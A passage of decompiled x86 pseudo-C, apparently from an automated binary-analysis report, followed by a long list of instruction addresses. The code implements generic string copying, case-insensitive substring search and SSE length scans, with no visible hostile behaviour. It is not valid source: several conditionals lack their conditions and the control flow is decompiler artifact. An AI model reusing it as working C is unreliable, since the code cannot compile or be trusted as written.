													_t317 =  *((char*)(_t352 + _t416 * 2 - 1));
													 *(_t450 + _t416 * 2 - 1) = _t317;
													__eflags = _t317;
													if(_t317 == 0) {
														goto L59;
													}
													_t318 =  *((char*)(_t352 + _t416 * 2));
													 *(_t450 + _t416 * 2) = _t318;
													__eflags = _t318;
													if(_t318 != 0) {
														continue;
													}
													goto L59;
												}
												goto L59;
											}
											__eflags =  *_t350;
											if( *_t350 == 0) {
												goto L53;
											}
											_t417 = _t315;
											_t319 = _t350;
											_t63 = _t417 - 0x41; // -65
											_t452 = _t63;
											_v64 = _t452;
											__eflags = _t452 - 0x19;
											_t65 = _t417 + 0x20; // 0x20
											_t354 =  >  ? _t315 : _t65;
											_t245 =  >  ? _t315 : _t65;
											_t355 = 0;
											__eflags = 0;
											while(1) {
												_t286 =  *_t319;
												__eflags = _t286 - 0x41 - 0x19;
												_t287 =  <=  ? _t286 + 0x20 : _t286;
												__eflags = ( <=  ? _t286 + 0x20 : _t286) - _t245;
												if(( <=  ? _t286 + 0x20 : _t286) == _t245) {
													break;
												}
												_t355 = _t355 + 1;
												_t319 = _t319 + 1;
												_t300 = _v60;
												__eflags =  *((char*)(_t355 + _t300));
												if( *((char*)(_t355 + _t300)) != 0) {
													continue;
												}
												L52:
												_t284 = _a4;
												goto L53;
											}
											_t284 = _a4;
											__eflags = _t319;
											if(_t319 == 0) {
												goto L53;
											}
											_t357 = _v28 & 0x0000000f;
											asm("pxor xmm0, xmm0");
											_t421 =  ~_t357 + 0x10;
											__eflags = _t421;
											_v32 = _t421;
											_v40 = _v48 + 0x20;
											_t246 = _t421;
											do {
												_t422 = _t357;
												__eflags = _t357;
												if(_t357 == 0) {
													L69:
													_t461 =  ~( ~_t422 + 0x0000000f & 0x0000000f) + 0x7fffffff;
													__eflags = _t461;
													while(1) {
														asm("movdqu xmm1, [eax+edi]");
														asm("pcmpeqb xmm1, xmm0");
														asm("pmovmskb ebx, xmm1");
														__eflags = _t284;
														if(_t284 != 0) {
															break;
														}
														_t422 = _t422 + 0x10;
														__eflags = _t422 - _t461;
														if(_t422 < _t461) {
															continue;
														}
														__eflags = _t461 - 0x7fffffff;
														if(_t461 >= 0x7fffffff) {
															L76:
															_t461 = 0x7fffffff;
															L77:
															_v68 = _t461;
															_t288 = 0;
															__eflags = 0;
															_v44 = _t357;
															while(1) {
																_t249 =  *((char*)(_t288 + _t319));
																_t359 =  *((char*)(_t288 + _v28));
																__eflags = _t249 - 0x61 - 0x19;
																_t250 =  <=  ? _t249 - 0x20 : _t249;
																__eflags = _t359 - 0x61 - 0x19;
																_t251 =  <=  ? _t249 - 0x20 : _t249;
																_t360 =  <=  ? _t359 - 0x20 : _t359;
																_t361 =  <=  ? _t359 - 0x20 : _t359;
																__eflags = _t251 - ( <=  ? _t359 - 0x20 : _t359);
																if(__eflags < 0 || __eflags > 0) {
																	break;
																}
																__eflags = _t251;
																if(_t251 == 0) {
																	L82:
																	_t357 = _v44;
																	_t466 = _v40;
																	_t284 = _a4;
																	L83:
																	__eflags = _t319;
																	if(_t319 == 0) {
																		goto L53;
																	}
																	_v44 = _t357;
																	while(1) {
																		L85:
																		_t254 = _t319;
																		_t292 = _t319 + 1;
																		__eflags = _t292;
																		if(_t292 == 0) {
																			break;
																		}
																		__eflags =  *(_t319 + 1);
																		if( *(_t319 + 1) == 0) {
																			break;
																		}
																		__eflags = _v64 - 0x19;
																		_t388 =  <=  ? _t466 : _v48;
																		_t389 =  <=  ? _t466 : _v48;
																		_v36 = _t254;
																		_v40 = _t466;
																		while(1) {
																			_t319 = _t319 + 1;
																			_t292 = _t292 + 1;
																			_t266 =  *_t319 & 0x000000ff;
																			_t466 =  *((char*)(_t292 - 1)) + 0xffffffbf;
																			__eflags = _t466 - 0x19;
																			_t267 =  <=  ? _t266 + 0x20 : _t266;
																			__eflags = ( <=  ? _t266 + 0x20 : _t266) - _t389;
																			if(( <=  ? _t266 + 0x20 : _t266) == _t389) {
																				break;
																			}
																			__eflags =  *_t292;
																			if( *_t292 != 0) {
																				continue;
																			}
																			L90:
																			_t254 = _v36;
																			_t365 = _v44;
																			_t284 = _a4;
																			L91:
																			__eflags = _t365;
																			if(_t365 == 0) {
																				L95:
																				_t325 =  ~( ~_t365 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																				__eflags = _t325;
																				while(1) {
																					asm("movdqu xmm1, [edi+edx]");
																					asm("pcmpeqb xmm1, xmm0");
																					asm("pmovmskb esi, xmm1");
																					__eflags = _t466;
																					if(_t466 != 0) {
																						break;
																					}
																					_t365 = _t365 + 0x10;
																					__eflags = _t365 - _t325;
																					if(_t365 < _t325) {
																						continue;
																					}
																					__eflags = _t325 - 0x7fffffff;
																					if(_t325 >= 0x7fffffff) {
																						L102:
																						_t325 = 0x7fffffff;
																						L103:
																						_t468 = _v60 & 0x0000000f;
																						__eflags = _t468;
																						if(_t468 == 0) {
																							L107:
																							_t433 =  ~( ~_t468 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																							__eflags = _t433;
																							while(1) {
																								asm("movdqu xmm1, [ebx+esi]");
																								asm("pcmpeqb xmm1, xmm0");
																								asm("pmovmskb edx, xmm1");
																								__eflags = _t365;
																								if(_t365 != 0) {
																									break;
																								}
																								_t468 = _t468 + 0x10;
																								__eflags = _t468 - _t433;
																								if(_t468 < _t433) {
																									continue;
																								}
																								_t284 = _a4;
																								__eflags = _t433 - 0x7fffffff;
																								if(_t433 >= 0x7fffffff) {
																									L114:
																									_t433 = 0x7fffffff;
																									L115:
																									_t366 = _v60;
																									_t256 = _t254 - _t366 + _t325;
																									_t326 = 0;
																									__eflags = _t256;
																									 *_t284 = 0;
																									_t257 =  <=  ? 0 : _t256;
																									__eflags = _t433 - _t257;
																									 *(_t284 + 4) = 0;
																									_t258 =  <  ? _t433 : _t257;
																									_t434 = _t433 - _t258;
																									_t367 = _t366 + _t258;
																									__eflags = _t367;
																									_v64 = _t367;
																									if(_t367 == 0) {
																										L151:
																										_push(0x40);
																										_t450 = E6E661030();
																										_t485 = _t485 + 4;
																										_t368 =  *_t284;
																										__eflags = _t368;
																										if(_t368 == 0) {
																											 *_t450 = 0;
																											goto L61;
																										}
																										__eflags = _t450;
																										if(_t450 == 0) {
																											L157:
																											_push(1);
																											_push(_t368);
																											E6E6610B0();
																											_t485 = _t485 + 8;
																											goto L61;
																										}
																										_t327 =  *_t368;
																										 *_t450 = _t327;
																										__eflags = _t327;
																										if(_t327 == 0) {
																											goto L157;
																										}
																										_t435 = 0;
																										__eflags = 0;
																										while(1) {
																											_t435 = _t435 + 1;
																											_t328 =  *((char*)(_t368 + _t435 * 2 - 1));
																											 *(_t450 + _t435 * 2 - 1) = _t328;
																											__eflags = _t328;
																											if(_t328 == 0) {
																												goto L157;
																											}
																											_t329 =  *((char*)(_t368 + _t435 * 2));
																											 *(_t450 + _t435 * 2) = _t329;
																											__eflags = _t329;
																											if(_t329 != 0) {
																												continue;
																											}
																											goto L157;
																										}
																										goto L157;
																									}
																									_t369 = _v60;
																									__eflags =  *(_t369 + _t258);
																									if( *(_t369 + _t258) == 0) {
																										goto L151;
																									}
																									__eflags = _t434;
																									if(_t434 != 0) {
																										L130:
																										_t144 = _t434 + 1; // 0x80000000
																										_t330 = _t144;
																										__eflags = _t330 - 0x40;
																										_t331 =  <=  ? 0x40 : _t330;
																										__eflags = _t331;
																										if(_t331 > 0) {
																											_v68 = (_t331 >> 5 >> 0x1a) + _t331 >> 6;
																											_t332 = _t331 & 0x8000003f;
																											__eflags = _t332;
																											if(_t332 < 0) {
																												_t332 = (_t332 - 0x00000001 | 0xffffffc0) + 1;
																												__eflags = _t332;
																											}
																											__eflags = _t332;
																											_t335 = _v68 + (0 | _t332 > 0x00000000) << 6;
																											_v68 = _t335;
																											_push(_t335);
																											_t469 = E6E661030();
																											_t485 = _t485 + 4;
																											_t336 =  *_t284;
																											__eflags = _t336;
																											if(_t336 == 0) {
																												 *_t469 = 0;
																												goto L143;
																											} else {
																												__eflags = _t469;
																												if(_t469 == 0) {
																													L141:
																													_push(1);
																													_push(_t336);
																													E6E6610B0();
																													_t485 = _t485 + 8;
																													L143:
																													 *(_t284 + 4) = _v68;
																													 *_t284 = _t469;
																													L144:
																													__eflags = _t469;
																													if(_t469 == 0) {
																														goto L62;
																													}
																													_t262 = _v64;
																													_t337 = 0;
																													while(1) {
																														_t379 =  *_t262;
																														_t337 = _t337 + 1;
																														 *_t469 = _t379;
																														__eflags = _t434;
																														if(_t434 == 0) {
																															goto L149;
																														}
																														__eflags = _t337 - _t434;
																														if(_t337 == _t434) {
																															 *(_t469 + 1) = 0;
																															goto L62;
																														}
																														L149:
																														__eflags = _t379;
																														if(_t379 == 0) {
																															goto L62;
																														}
																														_t469 = _t469 + 1;
																														_t262 = _t262 + 1;
																														__eflags = _t262;
																													}
																												}
																												_t380 =  *_t336;
																												 *_t469 = _t380;
																												__eflags = _t380;
																												if(_t380 == 0) {
																													goto L141;
																												}
																												_t381 = 0;
																												__eflags = 0;
																												while(1) {
																													_t381 = _t381 + 1;
																													_t264 =  *((char*)(_t336 + _t381 * 2 - 1));
																													 *(_t469 + _t381 * 2 - 1) = _t264;
																													__eflags = _t264;
																													if(_t264 == 0) {
																														break;
																													}
																													_t265 =  *((char*)(_t336 + _t381 * 2));
																													 *(_t469 + _t381 * 2) = _t265;
																													__eflags = _t265;
																													if(_t265 != 0) {
																														continue;
																													}
																													break;
																												}
																												_t284 = _a4;
																												goto L141;
																											}
																										}
																										_t469 = 0;
																										goto L144;
																									}
																									_t382 = _t369 + _t258;
																									_v60 = _t382;
																									_t383 = _t382 & 0x0000000f;
																									__eflags = _t383;
																									if(_t383 == 0) {
																										L122:
																										_t434 =  ~( ~_t383 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																										__eflags = _t434;
																										while(1) {
																											asm("movdqu xmm1, [esi+edx]");
																											asm("pcmpeqb xmm1, xmm0");
																											asm("pmovmskb ecx, xmm1");
																											__eflags = _t326;
																											if(_t326 != 0) {
																												break;
																											}
																											_t383 = _t383 + 0x10;
																											__eflags = _t383 - _t434;
																											if(_t383 < _t434) {
																												continue;
																											}
																											__eflags = _t434 - 0x7fffffff;
																											if(_t434 >= 0x7fffffff) {
																												L129:
																												_t434 = 0x7fffffff;
																												goto L130;
																											}
																											_t384 = _v60;
																											while(1) {
																												__eflags =  *((char*)(_t434 + _t384));
																												if( *((char*)(_t434 + _t384)) == 0) {
																													goto L130;
																												}
																												_t434 = _t434 + 1;
																												__eflags = _t434 - 0x7fffffff;
																												if(_t434 < 0x7fffffff) {
																													continue;
																												}
																												goto L129;
																											}
																											goto L130;
																										}
																										asm("bsf edi, ecx");
																										_t434 = _t434 + _t383;
																										goto L130;
																									}
																									_t434 = 0;
																									_t326 = _v60;
																									_t383 =  ~_t383 + 0x10;
																									__eflags = _t383;
																									while(1) {
																										__eflags =  *((char*)(_t434 + _t326));
																										if( *((char*)(_t434 + _t326)) == 0) {
																											goto L130;
																										}
																										_t434 = _t434 + 1;
																										__eflags = _t434 - _t383;
																										if(_t434 < _t383) {
																											continue;
																										}
																										goto L122;
																									}
																									goto L130;
																								}
																								_t386 = _v60;
																								while(1) {
																									__eflags =  *((char*)(_t433 + _t386));
																									if( *((char*)(_t433 + _t386)) == 0) {
																										goto L115;
																									}
																									_t433 = _t433 + 1;
																									__eflags = _t433 - 0x7fffffff;
																									if(_t433 < 0x7fffffff) {
																										continue;
																									}
																									goto L114;
																								}
																								goto L115;
																							}
																							asm("bsf edi, edx");
																							_t284 = _a4;
																							_t433 = _t433 + _t468;
																							goto L115;
																						}
																						_t433 = 0;
																						_t365 = _v60;
																						_t468 =  ~_t468 + 0x10;
																						__eflags = _t468;
																						while(1) {
																							__eflags =  *((char*)(_t433 + _t365));
																							if( *((char*)(_t433 + _t365)) == 0) {
																								goto L115;
																							}
																							_t433 = _t433 + 1;
																							__eflags = _t433 - _t468;
																							if(_t433 < _t468) {
																								continue;
																							}
																							goto L107;
																						}
																						goto L115;
																					}
																					_t365 = _v28;
																					while(1) {
																						__eflags =  *(_t325 + _t365);
																						if( *(_t325 + _t365) == 0) {
																							goto L103;
																						}
																						_t325 = _t325 + 1;
																						__eflags = _t325 - 0x7fffffff;
																						if(_t325 < 0x7fffffff) {
																							continue;
																						}
																						goto L102;
																					}
																					goto L103;
																				}
																				asm("bsf ecx, esi");
																				_t325 = _t325 + _t365;
																				goto L103;
																			}
																			_t365 = _v32;
																			_t325 = 0;
																			__eflags = 0;
																			_t441 = _v28;
																			_t466 = _t365;
																			while(1) {
																				__eflags =  *((char*)(_t325 + _t441));
																				if( *((char*)(_t325 + _t441)) == 0) {
																					goto L103;
																				}
																				_t325 = _t325 + 1;
																				__eflags = _t325 - _t466;
																				if(_t325 < _t466) {
																					continue;
																				}
																				goto L95;
																			}
																			goto L103;
																		}
																		_t254 = _v36;
																		_t466 = _v40;
																		__eflags = _t319;
																		if(_t319 == 0) {
																			break;
																		}
																		_v36 = _t254;
																		_v40 = _t466;
																		_t390 = _v44;
																		_t268 = _v32;
																		do {
																			_t443 = _t390;
																			__eflags = _t390;
																			if(_t390 == 0) {
																				L169:
																				_t478 =  ~( ~_t443 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																				__eflags = _t478;
																				while(1) {
																					asm("movdqu xmm1, [eax+edi]");
																					asm("pcmpeqb xmm1, xmm0");
																					asm("pmovmskb ebx, xmm1");
																					__eflags = _t292;
																					if(_t292 != 0) {
																						break;
																					}
																					_t443 = _t443 + 0x10;
																					__eflags = _t443 - _t478;
																					if(_t443 < _t478) {
																						continue;
																					}
																					__eflags = _t478 - 0x7fffffff;
																					if(_t478 >= 0x7fffffff) {
																						L176:
																						_t478 = 0x7fffffff;
																						L177:
																						_v68 = _t478;
																						_t295 = 0;
																						__eflags = 0;
																						_v44 = _t390;
																						while(1) {
																							_t271 =  *((char*)(_t295 + _t319));
																							_t392 =  *((char*)(_t295 + _v28));
																							__eflags = _t271 - 0x61 - 0x19;
																							_t272 =  <=  ? _t271 - 0x20 : _t271;
																							__eflags = _t392 - 0x61 - 0x19;
																							_t273 =  <=  ? _t271 - 0x20 : _t271;
																							_t393 =  <=  ? _t392 - 0x20 : _t392;
																							_t394 =  <=  ? _t392 - 0x20 : _t392;
																							__eflags = _t273 - ( <=  ? _t392 - 0x20 : _t392);
																							if(__eflags < 0 || __eflags > 0) {
																								break;
																							}
																							__eflags = _t273;
																							if(_t273 == 0) {
																								L182:
																								_t254 = _v36;
																								_t466 = _v40;
																								L183:
																								__eflags = _t319;
																								if(_t319 != 0) {
																									goto L85;
																								}
																								goto L184;
																							}
																							_t295 = _t295 + 1;
																							__eflags = _t295 - _v68;
																							if(_t295 < _v68) {
																								continue;
																							}
																							goto L182;
																						}
																						_t365 = _v44;
																						_t466 = _t319 + 1;
																						__eflags = _t466;
																						if(_t466 == 0) {
																							goto L192;
																						}
																						__eflags = _v64 - 0x19;
																						_t297 =  <=  ? _v40 : _v48;
																						_t292 =  <=  ? _v40 : _v48;
																						__eflags =  *(_t319 + 1);
																						if( *(_t319 + 1) == 0) {
																							goto L192;
																						}
																						_v44 = _t365;
																						while(1) {
																							_t319 = _t319 + 1;
																							_t466 = _t466 + 1;
																							_t395 =  *_t319 & 0x000000ff;
																							__eflags =  *((char*)(_t466 - 1)) + 0xffffffbf - 0x19;
																							_t396 =  <=  ? _t395 + 0x20 : _t395;
																							__eflags = ( <=  ? _t395 + 0x20 : _t395) - _t292;
																							if(( <=  ? _t395 + 0x20 : _t395) == _t292) {
																								goto L191;
																							}
																							__eflags =  *_t466;
																							if( *_t466 != 0) {
																								continue;
																							}
																							goto L90;
																						}
																						goto L191;
																					}
																					_t298 = _v28;
																					while(1) {
																						__eflags =  *((char*)(_t478 + _t298));
																						if( *((char*)(_t478 + _t298)) == 0) {
																							break;
																						}
																						_t478 = _t478 + 1;
																						__eflags = _t478 - 0x7fffffff;
																						if(_t478 < 0x7fffffff) {
																							continue;
																						}
																						goto L176;
																					}
																					L193:
																					__eflags = _t478;
																					if(__eflags == 0) {
																						goto L176;
																					}
																					if(__eflags > 0) {
																						goto L177;
																					}
																					_v44 = _t390;
																					_t254 = _v36;
																					_t466 = _v40;
																					goto L183;
																				}
																				asm("bsf esi, ebx");
																				_t478 = _t478 + _t443;
																				goto L193;
																			}
																			_t292 = _v28;
																			_t443 = _t268;
																			_t478 = 0;
																			__eflags = 0;
																			while(1) {
																				__eflags =  *((char*)(_t478 + _t292));
																				if( *((char*)(_t478 + _t292)) == 0) {
																					goto L193;
																				}
																				_t478 = _t478 + 1;
																				__eflags = _t478 - _t268;
																				if(_t478 < _t268) {
																					continue;
																				}
																				goto L169;
																			}
																			goto L193;
																			L191:
																			_t390 = _v44;
																			_t268 = _v32;
																			__eflags = _t319;
																		} while (_t319 != 0);
																		L192:
																		_t254 = _v36;
																		_t284 = _a4;
																		goto L91;
																	}
																	L184:
																	_t365 = _v44;
																	goto L91;
																}
																_t288 = _t288 + 1;
																__eflags = _t288 - _v68;
																if(_t288 < _v68) {
																	continue;
																}
																goto L82;
															}
															_t362 = _v44;
															_t465 = _t319 + 1;
															__eflags = _t465;
															if(_t465 == 0) {
																goto L52;
															}
															__eflags = _v64 - 0x19;
															_t290 =  <=  ? _v40 : _v48;
															_t284 =  <=  ? _v40 : _v48;
															__eflags =  *(_t319 + 1);
															if( *(_t319 + 1) == 0) {
																goto L52;
															}
															_v44 = _t362;
															while(1) {
																_t319 = _t319 + 1;
																_t465 = _t465 + 1;
																_t363 =  *_t319 & 0x000000ff;
																__eflags =  *((char*)(_t465 - 1)) + 0xffffffbf - 0x19;
																_t364 =  <=  ? _t363 + 0x20 : _t363;
																__eflags = ( <=  ? _t363 + 0x20 : _t363) - _t284;
																if(( <=  ? _t363 + 0x20 : _t363) == _t284) {
																	goto L207;
																}
																__eflags =  *_t465;
																if( *_t465 != 0) {
																	continue;
																}
																goto L52;
															}
															goto L207;
														}
														_t299 = _v28;
														while(1) {
															__eflags =  *((char*)(_t461 + _t299));
															if( *((char*)(_t461 + _t299)) == 0) {
																break;
															}
															_t461 = _t461 + 1;
															__eflags = _t461 - 0x7fffffff;
															if(_t461 < 0x7fffffff) {
																continue;
															}
															goto L76;
														}
														L203:
														__eflags = _t461;
														if(__eflags == 0) {
															goto L76;
														}
														if(__eflags > 0) {
															goto L77;
														}
														_t466 = _v40;
														_t284 = _a4;
														goto L83;
													}
													asm("bsf esi, ebx");
													_t461 = _t461 + _t422;
													goto L203;
												}
												_t284 = _v28;
												_t422 = _t246;
												_t461 = 0;
												__eflags = 0;
												while(1) {
													__eflags =  *((char*)(_t461 + _t284));
													if( *((char*)(_t461 + _t284)) == 0) {
														goto L203;
													}
													_t461 = _t461 + 1;
													__eflags = _t461 - _t246;
													if(_t461 < _t246) {
														continue;
													}
													goto L69;
												}
												goto L203;
												L207:
												_t357 = _v44;
												_t246 = _v32;
												__eflags = _t319;
											} while (_t319 != 0);
											goto L52;
										}
										goto L39;
									}
									_t279 =  *_t344;
									 *_t311 = _t279;
									__eflags = _t279;
									if(_t279 == 0) {
										goto L33;
									}
									_v60 = _t413;
									_t280 = 0;
									__eflags = 0;
									_v64 = _t283;
									_v68 = _t449;
									while(1) {
										_t280 = _t280 + 1;
										_t301 =  *((char*)(_t344 + _t280 * 2 - 1));
										 *(_t311 + _t280 * 2 - 1) = _t301;
										__eflags = _t301;
										if(_t301 == 0) {
											break;
										}
										_t302 =  *((char*)(_t344 + _t280 * 2));
										 *(_t311 + _t280 * 2) = _t302;
										__eflags = _t302;
										if(_t302 != 0) {
											continue;
										}
										break;
									}
									_t413 = _v60;
									_t283 = _v64;
									_t449 = _v68;
									goto L33;
								}
							}
							_t311 = _v56;
							goto L36;
						}
						_t400 = _t406 & 0x0000000f;
						__eflags = _t400;
						if(_t400 == 0) {
							L15:
							asm("pxor xmm0, xmm0");
							_t308 =  ~( ~_t400 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							__eflags = _t308;
							while(1) {
								asm("movdqu xmm1, [edi+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb eax, xmm1");
								__eflags = _t231;
								if(_t231 != 0) {
									break;
								}
								_t400 = _t400 + 0x10;
								__eflags = _t400 - _t308;
								if(_t400 < _t308) {
									continue;
								}
								__eflags = _t308 - 0x7fffffff;
								if(_t308 >= 0x7fffffff) {
									L21:
									_t310 = 0x40;
									_t283 = 0x7fffffff;
									goto L22;
								} else {
									goto L19;
								}
								while(1) {
									L19:
									__eflags =  *((char*)(_t308 + _t406));
									if( *((char*)(_t308 + _t406)) == 0) {
										break;
									}
									_t308 = _t308 + 1;
									__eflags = _t308 - 0x7fffffff;
									if(_t308 < 0x7fffffff) {
										continue;
									}
									goto L21;
								}
								L209:
								__eflags = _t283 - 0xfffffffe;
								if(_t283 != 0xfffffffe) {
									_t310 = 0x40;
								} else {
									 *_t406 = 0;
									_t310 = _v52;
								}
								goto L22;
							}
							asm("bsf ebx, eax");
							_t283 = _t308 + _t400;
							goto L209;
						}
						_t283 = 0;
						_t400 =  ~_t400 + 0x10;
						__eflags = _t400;
						while(1) {
							__eflags =  *((char*)(_t283 + _t406));
							if( *((char*)(_t283 + _t406)) == 0) {
								goto L209;
							}
							_t283 = _t283 + 1;
							__eflags = _t283 - _t400;
							if(_t283 < _t400) {
								continue;
							}
							goto L15;
						}
						goto L209;
					}
					_t237 =  &_v56;
					goto L37;
				}
				if(_t406 == 0) {
					L6:
					_push(1);
					_push(_t230);
					E6E6610B0();
					_t485 = _t485 + 8;
					goto L8;
				}
				_t402 =  *_t230;
				 *_t406 = _t402;
				if(_t402 == 0) {
					goto L6;
				}
				_t340 = 0;
				while(1) {
					_t340 = _t340 + 1;
					_t403 =  *((char*)(_t230 + _t340 * 2 - 1));
					 *((char*)(_t406 + _t340 * 2 - 1)) = _t403;
					if(_t403 == 0) {
						goto L6;
					}
					_t404 =  *((char*)(_t230 + _t340 * 2));
					 *((char*)(_t406 + _t340 * 2)) = _t404;
					if(_t404 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6e672e6e
0x6e672e72
0x6e672e74
0x6e672e78
0x6e672e7f
0x6e672e81
0x6e672e84
0x6e672e8a
0x6e672ec1
0x6e672ec4
0x6e672ec4
0x6e672ec8
0x6e672ed0
0x6e672ed6
0x6e672ee1
0x6e672ee3
0x6e6737d3
0x6e6737d8
0x6e672f5d
0x6e672f62
0x6e672f62
0x6e672f65
0x6e672f68
0x6e672f6b
0x6e672f6d
0x6e672f82
0x6e672f85
0x6e672f85
0x6e672f8b
0x6e672f93
0x6e672f93
0x6e672f93
0x6e672f96
0x6e672f9d
0x6e672fa0
0x6e672fa6
0x6e672fa8
0x6e672fab
0x6e672faf
0x6e672fb1
0x6e673006
0x00000000
0x6e672fb3
0x6e672fb3
0x6e672fb5
0x6e672ff1
0x6e672ff1
0x6e672ff3
0x6e672ff4
0x6e672ff8
0x6e672ffd
0x6e673001
0x6e673009
0x6e673009
0x6e67300d
0x6e673011
0x6e673015
0x6e673018
0x6e67301e
0x6e673023
0x6e673023
0x6e673025
0x6e673029
0x6e67302e
0x6e67303d
0x6e67303d
0x6e673041
0x6e673043
0x6e67304b
0x6e67304d
0x6e673050
0x6e673054
0x6e67308e
0x6e673135
0x6e673135
0x6e673137
0x6e67313e
0x6e67313e
0x6e673140
0x6e673144
0x6e673150
0x6e673154
0x6e673161
0x6e673161
0x6e673058
0x6e67307e
0x6e67307e
0x6e673080
0x6e673081
0x6e673086
0x00000000
0x6e673086
0x6e67305a
0x6e67305d
0x6e673061
0x00000000
0x00000000
0x6e673063
0x6e673065
0x6e673065
0x6e673066
0x6e67306b
0x6e673071
0x00000000
0x00000000
0x6e673073
0x6e673077
0x6e67307c
0x00000000
0x00000000
0x00000000
0x6e67307c
0x00000000
0x6e673065
0x6e673032
0x6e673035
0x6e67303b
0x6e673096
0x6e673098
0x6e67309c
0x6e67309e
0x6e6730e4
0x6e6730e4
0x6e6730e8
0x6e6730ea
0x6e6730f2
0x6e6730f4
0x6e6730f7
0x6e6730f9
0x6e6730fb
0x6e673132
0x00000000
0x6e673132
0x6e6730fd
0x6e6730ff
0x6e673125
0x6e673125
0x6e673127
0x6e673128
0x6e67312d
0x00000000
0x6e67312d
0x6e673101
0x6e673104
0x6e673106
0x6e673108
0x00000000
0x00000000
0x6e67310a
0x6e67310a
0x6e67310c
0x6e67310c
0x6e67310d
0x6e673112
0x6e673116
0x6e673118
0x00000000
0x00000000
0x6e67311a
0x6e67311e
0x6e673121
0x6e673123
0x00000000
0x00000000
0x00000000
0x6e673123
0x00000000
0x6e67310c
0x6e6730a0
0x6e6730a3
0x00000000
0x00000000
0x6e6730a5
0x6e6730a7
0x6e6730a9
0x6e6730a9
0x6e6730ac
0x6e6730b0
0x6e6730b3
0x6e6730b6
0x6e6730b9
0x6e6730bc
0x6e6730bc
0x6e6730be
0x6e6730be
0x6e6730c4
0x6e6730ca
0x6e6730cd
0x6e6730cf
0x00000000
0x00000000
0x6e6730d5
0x6e6730d6
0x6e6730d7
0x6e6730db
0x6e6730df
0x00000000
0x00000000
0x6e6730e1
0x6e6730e1
0x00000000
0x6e6730e1
0x6e673164
0x6e673167
0x6e673169
0x00000000
0x00000000
0x6e673173
0x6e673176
0x6e673182
0x6e673182
0x6e673185
0x6e67318c
0x6e673190
0x6e673192
0x6e673192
0x6e673194
0x6e673196
0x6e6731af
0x6e6731bf
0x6e6731bf
0x6e6731c5
0x6e6731c5
0x6e6731ca
0x6e6731ce
0x6e6731d2
0x6e6731d4
0x00000000
0x00000000
0x6e6731da
0x6e6731dd
0x6e6731df
0x00000000
0x00000000
0x6e6731e5
0x6e6731eb
0x6e673204
0x6e673204
0x6e673209
0x6e673209
0x6e67320c
0x6e67320c
0x6e67320e
0x6e673212
0x6e673216
0x6e67321a
0x6e673221
0x6e67322a
0x6e67322d
0x6e673230
0x6e673236
0x6e673239
0x6e67323c
0x6e67323e
0x00000000
0x00000000
0x6e67324a
0x6e67324c
0x6e673254
0x6e673254
0x6e673258
0x6e67325c
0x6e67325f
0x6e67325f
0x6e673261
0x00000000
0x00000000
0x6e673267
0x6e67326b
0x6e67326b
0x6e67326d
0x6e67326f
0x6e67326f
0x6e673270
0x00000000
0x00000000
0x6e673276
0x6e67327a
0x00000000
0x00000000
0x6e673280
0x6e673289
0x6e67328c
0x6e67328f
0x6e673293
0x6e673297
0x6e673297
0x6e673298
0x6e673299
0x6e6732a0
0x6e6732a3
0x6e6732a9
0x6e6732ac
0x6e6732ae
0x00000000
0x00000000
0x6e6732b4
0x6e6732b7
0x00000000
0x00000000
0x6e6732b9
0x6e6732b9
0x6e6732bd
0x6e6732c1
0x6e6732c4
0x6e6732c4
0x6e6732c6
0x6e6732df
0x6e6732ef
0x6e6732ef
0x6e6732f5
0x6e6732f5
0x6e6732fa
0x6e6732fe
0x6e673302
0x6e673304
0x00000000
0x00000000
0x6e67330a
0x6e67330d
0x6e67330f
0x00000000
0x00000000
0x6e673311
0x6e673317
0x6e67332c
0x6e67332c
0x6e673331
0x6e673335
0x6e673335
0x6e673338
0x6e673350
0x6e673360
0x6e673360
0x6e673366
0x6e673366
0x6e67336b
0x6e67336f
0x6e673373
0x6e673375
0x00000000
0x00000000
0x6e67337b
0x6e67337e
0x6e673380
0x00000000
0x00000000
0x6e673382
0x6e673385
0x6e67338b
0x6e6733a0
0x6e6733a0
0x6e6733a5
0x6e6733a5
0x6e6733ab
0x6e6733ad
0x6e6733af
0x6e6733b1
0x6e6733b3
0x6e6733b6
0x6e6733b8
0x6e6733bb
0x6e6733be
0x6e6733c0
0x6e6733c0
0x6e6733c2
0x6e6733c6
0x6e673519
0x6e673519
0x6e673520
0x6e673522
0x6e673525
0x6e673527
0x6e673529
0x6e673563
0x00000000
0x6e673563
0x6e67352b
0x6e67352d
0x6e673553
0x6e673553
0x6e673555
0x6e673556
0x6e67355b
0x00000000
0x6e67355b
0x6e67352f
0x6e673532
0x6e673534
0x6e673536
0x00000000
0x00000000
0x6e673538
0x6e673538
0x6e67353a
0x6e67353a
0x6e67353b
0x6e673540
0x6e673544
0x6e673546
0x00000000
0x00000000
0x6e673548
0x6e67354c
0x6e67354f
0x6e673551
0x00000000
0x00000000
0x00000000
0x6e673551
0x00000000
0x6e67353a
0x6e6733cc
0x6e6733d0
0x6e6733d4
0x00000000
0x00000000
0x6e6733da
0x6e6733dc
0x6e673451
0x6e673456
0x6e673456
0x6e673459
0x6e67345c
0x6e67345f
0x6e673461
0x6e673477
0x6e67347a
0x6e67347a
0x6e673480
0x6e673488
0x6e673488
0x6e673488
0x6e67348b
0x6e673495
0x6e673498
0x6e67349b
0x6e6734a1
0x6e6734a3
0x6e6734a6
0x6e6734a8
0x6e6734aa
0x6e6734e4
0x00000000
0x6e6734ac
0x6e6734ac
0x6e6734ae
0x6e6734d7
0x6e6734d7
0x6e6734d9
0x6e6734da
0x6e6734df
0x6e6734e7
0x6e6734ea
0x6e6734ed
0x6e6734ef
0x6e6734ef
0x6e6734f1
0x00000000
0x00000000
0x6e6734f7
0x6e6734fb
0x6e673501
0x6e673501
0x6e673504
0x6e673505
0x6e673507
0x6e673509
0x00000000
0x00000000
0x6e67350b
0x6e67350d
0x6e67356b
0x00000000
0x6e67356b
0x6e67350f
0x6e67350f
0x6e673511
0x00000000
0x00000000
0x6e6734ff
0x6e673500
0x6e673500
0x6e673500
0x6e673501
0x6e6734b0
0x6e6734b3
0x6e6734b5
0x6e6734b7
0x00000000
0x00000000
0x6e6734b9
0x6e6734b9
0x6e6734bb
0x6e6734bb
0x6e6734bc
0x6e6734c1
0x6e6734c5
0x6e6734c7
